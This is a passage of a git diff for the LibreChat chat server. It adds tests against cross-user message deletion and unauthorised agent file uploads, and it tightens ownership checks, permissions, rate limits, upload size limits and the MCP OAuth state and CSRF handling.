+ countTokens: jest.fn().mockResolvedValue(10),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+ ...jest.requireActual('@librechat/data-schemas'),
+ logger: {
+ debug: jest.fn(),
+ info: jest.fn(),
+ warn: jest.fn(),
+ error: jest.fn(),
+ },
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+}));
+
+jest.mock('~/models', () => ({
+ saveConvo: jest.fn(),
+ getMessage: jest.fn(),
+ saveMessage: jest.fn(),
+ getMessages: jest.fn(),
+ updateMessage: jest.fn(),
+ deleteMessages: jest.fn(),
+}));
+
+jest.mock('~/server/services/Artifacts/update', () => ({
+ findAllArtifacts: jest.fn(),
+ replaceArtifactContent: jest.fn(),
+}));
+
+jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
+
+jest.mock('~/server/middleware', () => ({
+ requireJwtAuth: (req, res, next) => next(),
+ validateMessageReq: (req, res, next) => next(),
+}));
+
+jest.mock('~/models/Conversation', () => ({
+ getConvosQueried: jest.fn(),
+}));
+
+jest.mock('~/db/models', () => ({
+ Message: {
+ findOne: jest.fn(),
+ find: jest.fn(),
+ meiliSearch: jest.fn(),
+ },
+}));
+
+/* ─── Model-level tests: real MongoDB, proves cross-user deletion is prevented ─── */
+
+const { messageSchema } = require('@librechat/data-schemas');
+
+describe('deleteMessages – model-level IDOR prevention', () => {
+ let mongoServer;
+ let Message;
+
+ const ownerUserId = 'user-owner-111';
+ const attackerUserId = 'user-attacker-222';
+
+ beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ Message = mongoose.models.Message || mongoose.model('Message', messageSchema);
+ await mongoose.connect(mongoServer.getUri());
+ });
+
+ afterAll(async () => {
+ await mongoose.disconnect();
+ await mongoServer.stop();
+ });
+
+ beforeEach(async () => {
+ await Message.deleteMany({});
+ });
+
+ it("should NOT delete another user's message when attacker supplies victim messageId", async () => {
+ const conversationId = uuidv4();
+ const victimMsgId = 'victim-msg-001';
+
+ await Message.create({
+ messageId: victimMsgId,
+ conversationId,
+ user: ownerUserId,
+ text: 'Sensitive owner data',
+ });
+
+ await Message.deleteMany({ messageId: victimMsgId, user: attackerUserId });
+
+ const victimMsg = await Message.findOne({ messageId: victimMsgId }).lean();
+ expect(victimMsg).not.toBeNull();
+ expect(victimMsg.user).toBe(ownerUserId);
+ expect(victimMsg.text).toBe('Sensitive owner data');
+ });
+
+ it("should delete the user's own message", async () => {
+ const conversationId = uuidv4();
+ const ownMsgId = 'own-msg-001';
+
+ await Message.create({
+ messageId: ownMsgId,
+ conversationId,
+ user: ownerUserId,
+ text: 'My message',
+ });
+
+ const result = await Message.deleteMany({ messageId: ownMsgId, user: ownerUserId });
+ expect(result.deletedCount).toBe(1);
+
+ const deleted = await Message.findOne({ messageId: ownMsgId }).lean();
+ expect(deleted).toBeNull();
+ });
+
+ it('should scope deletion by conversationId, messageId, and user together', async () => {
+ const convoA = uuidv4();
+ const convoB = uuidv4();
+
+ await Message.create([
+ { messageId: 'msg-a1', conversationId: convoA, user: ownerUserId, text: 'A1' },
+ { messageId: 'msg-b1', conversationId: convoB, user: ownerUserId, text: 'B1' },
+ ]);
+
+ await Message.deleteMany({ messageId: 'msg-a1', conversationId: convoA, user: attackerUserId });
+
+ const remaining = await Message.find({ user: ownerUserId }).lean();
+ expect(remaining).toHaveLength(2);
+ });
+});
+
+/* ─── Route-level tests: supertest + mocked deleteMessages ─── */
+
+describe('DELETE /:conversationId/:messageId – route handler', () => {
+ let app;
+ const { deleteMessages } = require('~/models');
+
+ const authenticatedUserId = 'user-owner-123';
+
+ beforeAll(() => {
+ const messagesRouter = require('../messages');
+
+ app = express();
+ app.use(express.json());
+ app.use((req, res, next) => {
+ req.user = { id: authenticatedUserId };
+ next();
+ });
+ app.use('/api/messages', messagesRouter);
+ });
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('should pass user and conversationId in the deleteMessages filter', async () => {
+ deleteMessages.mockResolvedValue({ deletedCount: 1 });
+
+ await request(app).delete('/api/messages/convo-1/msg-1');
+
+ expect(deleteMessages).toHaveBeenCalledTimes(1);
+ expect(deleteMessages).toHaveBeenCalledWith({
+ messageId: 'msg-1',
+ conversationId: 'convo-1',
+ user: authenticatedUserId,
+ });
+ });
+
+ it('should return 204 on successful deletion', async () => {
+ deleteMessages.mockResolvedValue({ deletedCount: 1 });
+
+ const response = await request(app).delete('/api/messages/convo-1/msg-owned');
+
+ expect(response.status).toBe(204);
+ expect(deleteMessages).toHaveBeenCalledWith({
+ messageId: 'msg-owned',
+ conversationId: 'convo-1',
+ user: authenticatedUserId,
+ });
+ });
+
+ it('should return 500 when deleteMessages throws', async () => {
+ deleteMessages.mockRejectedValue(new Error('DB failure'));
+
+ const response = await request(app).delete('/api/messages/convo-1/msg-1');
+
+ expect(response.status).toBe(500);
+ expect(response.body).toEqual({ error: 'Internal server error' });
+ });
+});
diff --git a/api/server/routes/agents/actions.js b/api/server/routes/agents/actions.js
index 12168ba28a..4643f096aa 100644
--- a/api/server/routes/agents/actions.js
+++ b/api/server/routes/agents/actions.js
@@ -143,6 +143,9 @@ router.post(
if (actions_result && actions_result.length) {
const action = actions_result[0];
+ if (action.agent_id !== agent_id) {
+ return res.status(403).json({ message: 'Action does not belong to this agent' });
+ }
metadata = { ...action.metadata, ...metadata };
}
@@ -184,7 +187,7 @@ router.post(
}
/** @type {[Action]} */
- const updatedAction = await updateAction({ action_id }, actionUpdateData);
+ const updatedAction = await updateAction({ action_id, agent_id }, actionUpdateData);
const sensitiveFields = ['api_key', 'oauth_client_id', 'oauth_client_secret'];
for (let field of sensitiveFields) {
@@ -251,7 +254,13 @@ router.delete(
{ tools: updatedTools, actions: updatedActions },
{ updatingUserId: req.user.id, forceVersion: true },
);
- await deleteAction({ action_id });
+ const deleted = await deleteAction({ action_id, agent_id });
+ if (!deleted) {
+ logger.warn('[Agent Action Delete] No matching action document found', {
+ action_id,
+ agent_id,
+ });
+ }
res.status(200).json({ message: 'Action deleted successfully' });
} catch (error) {
const message = 'Trouble deleting the Agent Action';
diff --git a/api/server/routes/agents/index.js b/api/server/routes/agents/index.js
index f8d39cb4d8..a99fdca592 100644
--- a/api/server/routes/agents/index.js
+++ b/api/server/routes/agents/index.js
@@ -76,52 +76,62 @@ router.get('/chat/stream/:streamId', async (req, res) => {
logger.debug(`[AgentStream] Client subscribed to ${streamId}, resume: ${isResume}`);
- // Send sync event with resume state for ALL reconnecting clients
- // This supports multi-tab scenarios where each tab needs run step data
- if (isResume) {
- const resumeState = await GenerationJobManager.getResumeState(streamId);
- if (resumeState && !res.writableEnded) {
- // Send sync event with run steps AND aggregatedContent
- // Client will use aggregatedContent to initialize message state
- res.write(`event: message\ndata: ${JSON.stringify({ sync: true, resumeState })}\n\n`);
+ const writeEvent = (event) => {
+ if (!res.writableEnded) {
+ res.write(`event: message\ndata: ${JSON.stringify(event)}\n\n`);
if (typeof res.flush === 'function') {
res.flush();
}
- logger.debug(
- `[AgentStream] Sent sync event for ${streamId} with ${resumeState.runSteps.length} run steps`,
- );
}
- }
+ };
- const result = await GenerationJobManager.subscribe(
- streamId,
- (event) => {
- if (!res.writableEnded) {
- res.write(`event: message\ndata: ${JSON.stringify(event)}\n\n`);
+ const onDone = (event) => {
+ writeEvent(event);
+ res.end();
+ };
+
+ const onError = (error) => {
+ if (!res.writableEnded) {
+ res.write(`event: error\ndata: ${JSON.stringify({ error })}\n\n`);
+ if (typeof res.flush === 'function') {
+ res.flush();
+ }
+ res.end();
+ }
+ };
+
+ let result;
+
+ if (isResume) {
+ const { subscription, resumeState, pendingEvents } =
+ await GenerationJobManager.subscribeWithResume(streamId, writeEvent, onDone, onError);
+
+ if (!res.writableEnded) {
+ if (resumeState) {
+ res.write(
+ `event: message\ndata: ${JSON.stringify({ sync: true, resumeState, pendingEvents })}\n\n`,
+ );
if (typeof res.flush === 'function') {
res.flush();
}
- }
- },
- (event) => {
- if (!res.writableEnded) {
- res.write(`event: message\ndata: ${JSON.stringify(event)}\n\n`);
- if (typeof res.flush === 'function') {
- res.flush();
+ GenerationJobManager.markSyncSent(streamId);
+ logger.debug(
+ `[AgentStream] Sent sync event for ${streamId} with ${resumeState.runSteps.length} run steps, ${pendingEvents.length} pending events`,
+ );
+ } else if (pendingEvents.length > 0) {
+ for (const event of pendingEvents) {
+ writeEvent(event);
}
- res.end();
+ logger.warn(
+ `[AgentStream] Resume state null for ${streamId}, replayed ${pendingEvents.length} gap events directly`,
+ );
}
- },
- (error) => {
- if (!res.writableEnded) {
- res.write(`event: error\ndata: ${JSON.stringify({ error })}\n\n`);
- if (typeof res.flush === 'function') {
- res.flush();
- }
- res.end();
- }
- },
- );
+ }
+
+ result = subscription;
+ } else {
+ result = await GenerationJobManager.subscribe(streamId, writeEvent, onDone, onError);
+ }
if (!result) {
return res.status(404).json({ error: 'Failed to subscribe to stream' });
diff --git a/api/server/routes/agents/v1.js b/api/server/routes/agents/v1.js
index 682a9c795f..ed989bcf44 100644
--- a/api/server/routes/agents/v1.js
+++ b/api/server/routes/agents/v1.js
@@ -117,7 +117,7 @@ router.post(
'/:id/duplicate',
checkAgentCreate,
canAccessAgentResource({
- requiredPermission: PermissionBits.VIEW,
+ requiredPermission: PermissionBits.EDIT,
resourceIdParam: 'id',
}),
v1.duplicateAgent,
diff --git a/api/server/routes/assistants/actions.js b/api/server/routes/assistants/actions.js
index 57975d32a7..b085fbd36a 100644
--- a/api/server/routes/assistants/actions.js
+++ b/api/server/routes/assistants/actions.js
@@ -60,6 +60,9 @@ router.post('/:assistant_id', async (req, res) => {
if (actions_result && actions_result.length) {
const action = actions_result[0];
+ if (action.assistant_id !== assistant_id) {
+ return res.status(403).json({ message: 'Action does not belong to this assistant' });
+ }
metadata = { ...action.metadata, ...metadata };
}
@@ -117,7 +120,7 @@ router.post('/:assistant_id', async (req, res) => {
// For new actions, use the assistant owner's user ID
actionUpdateData.user = assistant_user || req.user.id;
}
- promises.push(updateAction({ action_id }, actionUpdateData));
+ promises.push(updateAction({ action_id, assistant_id }, actionUpdateData));
/** @type {[AssistantDocument, Action]} */
let [assistantDocument, updatedAction] = await Promise.all(promises);
@@ -196,9 +199,15 @@ router.delete('/:assistant_id/:action_id/:model', async (req, res) => {
assistantUpdateData.user = req.user.id;
}
promises.push(updateAssistantDoc({ assistant_id }, assistantUpdateData));
- promises.push(deleteAction({ action_id }));
+ promises.push(deleteAction({ action_id, assistant_id }));
- await Promise.all(promises);
+ const [, deletedAction] = await Promise.all(promises);
+ if (!deletedAction) {
+ logger.warn('[Assistant Action Delete] No matching action document found', {
+ action_id,
+ assistant_id,
+ });
+ }
res.status(200).json({ message: 'Action deleted successfully' });
} catch (error) {
const message = 'Trouble deleting the Assistant Action';
diff --git a/api/server/routes/auth.js b/api/server/routes/auth.js
index e84442f65f..d55684f3de 100644
--- a/api/server/routes/auth.js
+++ b/api/server/routes/auth.js
@@ -63,7 +63,7 @@ router.post(
resetPasswordController,
);
-router.get('/2fa/enable', middleware.requireJwtAuth, enable2FA);
+router.post('/2fa/enable', middleware.requireJwtAuth, enable2FA);
router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA);
router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken);
router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA);
diff --git a/api/server/routes/config.js b/api/server/routes/config.js
index a2dc5b79d2..0adc9272bb 100644
--- a/api/server/routes/config.js
+++ b/api/server/routes/config.js
@@ -16,9 +16,7 @@ const sharedLinksEnabled =
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
const publicSharedLinksEnabled =
- sharedLinksEnabled &&
- (process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
- isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC));
+ sharedLinksEnabled && isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER);
const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS);
diff --git a/api/server/routes/convos.js b/api/server/routes/convos.js
index bb9c4ebea9..578796170a 100644
--- a/api/server/routes/convos.js
+++ b/api/server/routes/convos.js
@@ -1,7 +1,7 @@
const multer = require('multer');
const express = require('express');
const { sleep } = require('@librechat/agents');
-const { isEnabled } = require('@librechat/api');
+const { isEnabled, resolveImportMaxFileSize } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { CacheKeys, EModelEndpoint } = require('librechat-data-provider');
const {
@@ -224,8 +224,27 @@ router.post('/update', validateConvoAccess, async (req, res) => {
});
const { importIpLimiter, importUserLimiter } = createImportLimiters();
+/** Fork and duplicate share one rate-limit budget (same "clone" operation class) */
const { forkIpLimiter, forkUserLimiter } = createForkLimiters();
-const upload = multer({ storage: storage, fileFilter: importFileFilter });
+const importMaxFileSize = resolveImportMaxFileSize();
+const upload = multer({
+ storage,
+ fileFilter: importFileFilter,
+ limits: { fileSize: importMaxFileSize },
+});
+const uploadSingle = upload.single('file');
+
+function handleUpload(req, res, next) {
+ uploadSingle(req, res, (err) => {
+ if (err && err.code === 'LIMIT_FILE_SIZE') {
+ return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
+ }
+ if (err) {
+ return next(err);
+ }
+ next();
+ });
+}
/**
* Imports a conversation from a JSON file and saves it to the database.
@@ -238,7 +257,7 @@ router.post(
importIpLimiter,
importUserLimiter,
configMiddleware,
- upload.single('file'),
+ handleUpload,
async (req, res) => {
try {
/* TODO: optimize to return imported conversations and add manually */
@@ -280,7 +299,7 @@ router.post('/fork', forkIpLimiter, forkUserLimiter, async (req, res) => {
}
});
-router.post('/duplicate', async (req, res) => {
+router.post('/duplicate', forkIpLimiter, forkUserLimiter, async (req, res) => {
const { conversationId, title } = req.body;
try {
diff --git a/api/server/routes/files/files.js b/api/server/routes/files/files.js
index 5de2ddb379..9290d1a7ed 100644
--- a/api/server/routes/files/files.js
+++ b/api/server/routes/files/files.js
@@ -2,12 +2,12 @@ const fs = require('fs').promises;
const express = require('express');
const { EnvVar } = require('@librechat/agents');
const { logger } = require('@librechat/data-schemas');
+const { verifyAgentUploadPermission } = require('@librechat/api');
const {
Time,
isUUID,
CacheKeys,
FileSources,
- SystemRoles,
ResourceType,
EModelEndpoint,
PermissionBits,
@@ -381,48 +381,15 @@ router.post('/', async (req, res) => {
return await processFileUpload({ req, res, metadata });
}
- /**
- * Check agent permissions for permanent agent file uploads (not message attachments).
- * Message attachments (message_file=true) are temporary files for a single conversation
- * and should be allowed for users who can chat with the agent.
- * Permanent file uploads to tool_resources require EDIT permission.
- */
- const isMessageAttachment = metadata.message_file === true || metadata.message_file === 'true';
- if (metadata.agent_id && metadata.tool_resource && !isMessageAttachment) {
- const userId = req.user.id;
-
- /** Admin users bypass permission checks */
- if (req.user.role !== SystemRoles.ADMIN) {
- const agent = await getAgent({ id: metadata.agent_id });
-
- if (!agent) {
- return res.status(404).json({
- error: 'Not Found',
- message: 'Agent not found',
- });
- }
-
- /** Check if user is the author or has edit permission */
- if (agent.author.toString() !== userId) {
- const hasEditPermission = await checkPermission({
- userId,
- role: req.user.role,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- requiredPermission: PermissionBits.EDIT,
- });
-
- if (!hasEditPermission) {
- logger.warn(
- `[/files] User ${userId} denied upload to agent ${metadata.agent_id} (insufficient permissions)`,
- );
- return res.status(403).json({
- error: 'Forbidden',
- message: 'Insufficient permissions to upload files to this agent',
- });
- }
- }
- }
+ const denied = await verifyAgentUploadPermission({
+ req,
+ res,
+ metadata,
+ getAgent,
+ checkPermission,
+ });
+ if (denied) {
+ return;
}
return await processAgentFileUpload({ req, res, metadata });
diff --git a/api/server/routes/files/images.agents.test.js b/api/server/routes/files/images.agents.test.js
new file mode 100644
index 0000000000..862ab87d63
--- /dev/null
+++ b/api/server/routes/files/images.agents.test.js
@@ -0,0 +1,376 @@
+const express = require('express');
+const request = require('supertest');
+const mongoose = require('mongoose');
+const { v4: uuidv4 } = require('uuid');
+const { createMethods } = require('@librechat/data-schemas');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+const {
+ SystemRoles,
+ AccessRoleIds,
+ ResourceType,
+ PrincipalType,
+} = require('librechat-data-provider');
+const { createAgent } = require('~/models/Agent');
+
+jest.mock('~/server/services/Files/process', () => ({
+ processAgentFileUpload: jest.fn().mockImplementation(async ({ res }) => {
+ return res.status(200).json({ message: 'Agent file uploaded', file_id: 'test-file-id' });
+ }),
+ processImageFile: jest.fn().mockImplementation(async ({ res }) => {
+ return res.status(200).json({ message: 'Image processed' });
+ }),
+ filterFile: jest.fn(),
+}));
+
+jest.mock('fs', () => {
+ const actualFs = jest.requireActual('fs');
+ return {
+ ...actualFs,
+ promises: {
+ ...actualFs.promises,
+ unlink: jest.fn().mockResolvedValue(undefined),
+ },
+ };
+});
+
+const fs = require('fs');
+const { processAgentFileUpload } = require('~/server/services/Files/process');
+
+const router = require('~/server/routes/files/images');
+
+describe('POST /images - Agent Upload Permission Check (Integration)', () => {
+ let mongoServer;
+ let authorId;
+ let otherUserId;
+ let agentCustomId;
+ let User;
+ let Agent;
+ let AclEntry;
+ let methods;
+ let modelsToCleanup = [];
+
+ beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ const mongoUri = mongoServer.getUri();
+ await mongoose.connect(mongoUri);
+
+ const { createModels } = require('@librechat/data-schemas');
+ const models = createModels(mongoose);
+ modelsToCleanup = Object.keys(models);
+ Object.assign(mongoose.models, models);
+ methods = createMethods(mongoose);
+
+ User = models.User;
+ Agent = models.Agent;
+ AclEntry = models.AclEntry;
+
+ await methods.seedDefaultRoles();
+ });
+
+ afterAll(async () => {
+ const collections = mongoose.connection.collections;
+ for (const key in collections) {
+ await collections[key].deleteMany({});
+ }
+ for (const modelName of modelsToCleanup) {
+ if (mongoose.models[modelName]) {
+ delete mongoose.models[modelName];
+ }
+ }
+ await mongoose.disconnect();
+ await mongoServer.stop();
+ });
+
+ beforeEach(async () => {
+ await Agent.deleteMany({});
+ await User.deleteMany({});
+ await AclEntry.deleteMany({});
+
+ authorId = new mongoose.Types.ObjectId();
+ otherUserId = new mongoose.Types.ObjectId();
+ agentCustomId = `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`;
+
+ await User.create({ _id: authorId, username: 'author', email: 'author@test.com' });
+ await User.create({ _id: otherUserId, username: 'other', email: 'other@test.com' });
+
+ jest.clearAllMocks();
+ });
+
+ const createAppWithUser = (userId, userRole = SystemRoles.USER) => {
+ const app = express();
+ app.use(express.json());
+ app.use((req, _res, next) => {
+ if (req.method === 'POST') {
+ req.file = {
+ originalname: 'test.png',
+ mimetype: 'image/png',
+ size: 100,
+ path: '/tmp/t.png',
+ filename: 'test.png',
+ };
+ req.file_id = uuidv4();
+ }
+ next();
+ });
+ app.use((req, _res, next) => {
+ req.user = { id: userId.toString(), role: userRole };
+ req.app = { locals: {} };
+ req.config = { fileStrategy: 'local', paths: { imageOutput: '/tmp/images' } };
+ next();
+ });
+ app.use('/images', router);
+ return app;
+ };
+
+ it('should return 403 when user has no permission on agent', async () => {
+ await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(403);
+ expect(response.body.error).toBe('Forbidden');
+ expect(processAgentFileUpload).not.toHaveBeenCalled();
+ expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+ });
+
+ it('should allow upload for agent owner', async () => {
+ await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const app = createAppWithUser(authorId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should allow upload for admin regardless of ownership', async () => {
+ await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId, SystemRoles.ADMIN);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should allow upload for user with EDIT permission', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_EDITOR,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should deny upload for user with only VIEW permission', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_VIEWER,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(403);
+ expect(response.body.error).toBe('Forbidden');
+ expect(processAgentFileUpload).not.toHaveBeenCalled();
+ expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+ });
+
+ it('should skip permission check for regular image uploads without agent_id/tool_resource', async () => {
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ });
+
+ it('should return 404 for non-existent agent', async () => {
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: 'agent_nonexistent123456789',
+ tool_resource: 'context',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(404);
+ expect(response.body.error).toBe('Not Found');
+ expect(processAgentFileUpload).not.toHaveBeenCalled();
+ expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+ });
+
+ it('should allow message_file attachment (boolean true) without EDIT permission', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_VIEWER,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ message_file: true,
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should allow message_file attachment (string "true") without EDIT permission', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_VIEWER,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ message_file: 'true',
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(200);
+ expect(processAgentFileUpload).toHaveBeenCalled();
+ });
+
+ it('should deny upload when message_file is false (not a message attachment)', async () => {
+ const agent = await createAgent({
+ id: agentCustomId,
+ name: 'Test Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: authorId,
+ });
+
+ const { grantPermission } = require('~/server/services/PermissionService');
+ await grantPermission({
+ principalType: PrincipalType.USER,
+ principalId: otherUserId,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ accessRoleId: AccessRoleIds.AGENT_VIEWER,
+ grantedBy: authorId,
+ });
+
+ const app = createAppWithUser(otherUserId);
+ const response = await request(app).post('/images').send({
+ endpoint: 'agents',
+ agent_id: agentCustomId,
+ tool_resource: 'context',
+ message_file: false,
+ file_id: uuidv4(),
+ });
+
+ expect(response.status).toBe(403);
+ expect(response.body.error).toBe('Forbidden');
+ expect(processAgentFileUpload).not.toHaveBeenCalled();
+ expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
+ });
+});
diff --git a/api/server/routes/files/images.js b/api/server/routes/files/images.js
index 8072612a69..185ec7a671 100644
--- a/api/server/routes/files/images.js
+++ b/api/server/routes/files/images.js
@@ -2,12 +2,15 @@ const path = require('path');
const fs = require('fs').promises;
const express = require('express');
const { logger } = require('@librechat/data-schemas');
+const { verifyAgentUploadPermission } = require('@librechat/api');
const { isAssistantsEndpoint } = require('librechat-data-provider');
const {
processAgentFileUpload,
processImageFile,
filterFile,
} = require('~/server/services/Files/process');
+const { checkPermission } = require('~/server/services/PermissionService');
+const { getAgent } = require('~/models/Agent');
const router = express.Router();
@@ -22,6 +25,16 @@ router.post('/', async (req, res) => {
metadata.file_id = req.file_id;
if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) {
+ const denied = await verifyAgentUploadPermission({
+ req,
+ res,
+ metadata,
+ getAgent,
+ checkPermission,
+ });
+ if (denied) {
+ return;
+ }
return await processAgentFileUpload({ req, res, metadata });
}
diff --git a/api/server/routes/mcp.js b/api/server/routes/mcp.js
index 2db8c2c462..57a99d199a 100644
--- a/api/server/routes/mcp.js
+++ b/api/server/routes/mcp.js
@@ -13,6 +13,7 @@ const {
MCPOAuthHandler,
MCPTokenStorage,
setOAuthSession,
+ PENDING_STALE_MS,
getUserMCPAuthMap,
validateOAuthCsrf,
OAUTH_CSRF_COOKIE,
@@ -49,6 +50,18 @@ const router = Router();
const OAUTH_CSRF_COOKIE_PATH = '/api/mcp';
+const checkMCPUsePermissions = generateCheckAccess({
+ permissionType: PermissionTypes.MCP_SERVERS,
+ permissions: [Permissions.USE],
+ getRoleByName,
+});
+
+const checkMCPCreate = generateCheckAccess({
+ permissionType: PermissionTypes.MCP_SERVERS,
+ permissions: [Permissions.USE, Permissions.CREATE],
+ getRoleByName,
+});
+
/**
* Get all MCP tools available to the user
* Returns only MCP tools, completely decoupled from regular LibreChat tools
@@ -91,7 +104,11 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
}
const oauthHeaders = await getOAuthHeaders(serverName, userId);
- const { authorizationUrl, flowId: oauthFlowId } = await MCPOAuthHandler.initiateOAuthFlow(
+ const {
+ authorizationUrl,
+ flowId: oauthFlowId,
+ flowMetadata,
+ } = await MCPOAuthHandler.initiateOAuthFlow(
serverName,
serverUrl,
userId,
@@ -101,6 +118,7 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl });
+ await MCPOAuthHandler.storeStateMapping(flowMetadata.state, oauthFlowId, flowManager);
setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH);
res.redirect(authorizationUrl);
} catch (error) {
@@ -143,30 +161,52 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
return res.redirect(`${basePath}/oauth/error?error=missing_state`);
}
- const flowId = state;
- logger.debug('[MCP OAuth] Using flow ID from state', { flowId });
+ const flowsCache = getLogStores(CacheKeys.FLOWS);
+ const flowManager = getFlowStateManager(flowsCache);
+
+ const flowId = await MCPOAuthHandler.resolveStateToFlowId(state, flowManager);
+ if (!flowId) {
+ logger.error('[MCP OAuth] Could not resolve state to flow ID', { state });
+ return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
+ }
+ logger.debug('[MCP OAuth] Resolved flow ID from state', { flowId });
const flowParts = flowId.split(':');
if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) {
- logger.error('[MCP OAuth] Invalid flow ID format in state', { flowId });
+ logger.error('[MCP OAuth] Invalid flow ID format', { flowId });
return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
}
const [flowUserId] = flowParts;
- if (
- !validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH) &&
- !validateOAuthSession(req, flowUserId)
- ) {
- logger.error('[MCP OAuth] CSRF validation failed: no valid CSRF or session cookie', {
- flowId,
